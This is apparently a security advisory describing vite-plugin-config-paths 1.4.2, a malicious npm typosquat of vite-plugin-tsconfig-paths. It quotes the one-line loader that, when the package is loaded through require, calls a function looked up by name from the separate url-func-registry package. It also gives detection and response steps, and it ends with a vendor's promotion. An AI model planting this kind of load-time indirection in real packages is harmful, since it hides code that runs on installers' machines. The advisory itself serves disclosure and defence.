vite-plugin-config-pathsnpm
Advisory published Updated
vite-plugin-config-paths is a confirmed malicious npm package (MAL-2026-10574) that typosquats a legitimate package to trick installs (malicious version 1.4.2). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in vite-plugin-config-paths (npm)
What this malware does
Package name impersonates the widely-used vite-plugin-tsconfig-paths (the package.json homepage points to the legitimate plugin's README), and the README markets the same API. The CJS entry (index.js) contains top-level code that is absent from the ESM entry (index.mjs): const { getFunc } = require("url-func-registry"); const jsonInst = getFunc("JsonS"); const json_provider = jsonInst();. On require() of this package (the resolution path Node uses for CommonJS consumers), a function looked up by string name from a transitive url-func-registry dependency is invoked at load time. This registry-lookup indirection hides the executed code behind a named-function table populated by a separate package, so the actual behavior can be altered by changing that transitive without republishing this one. The ESM build performs no such call, indicating the CJS output was modified after normal build. The combination of name impersonation of a popular target plus divergent, indirection-based load-time execution not part of the advertised tsconfig-path resolution logic is the shape of a typosquat dropper.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
TyposquatFind it
Search your lockfiles and build artifacts for vite-plugin-config-paths (version 1.4.2).
If you installed it — respond
vite-plugin-config-paths is a typosquat — you almost certainly intended a legitimately-named package. Remove vite-plugin-config-paths, install the correct package, and rotate any secrets exposed during the install since post-install scripts may have already run.
Did it already run?
If vite-plugin-config-paths was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
Detect & block this
O3 blocks vite-plugin-config-paths-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.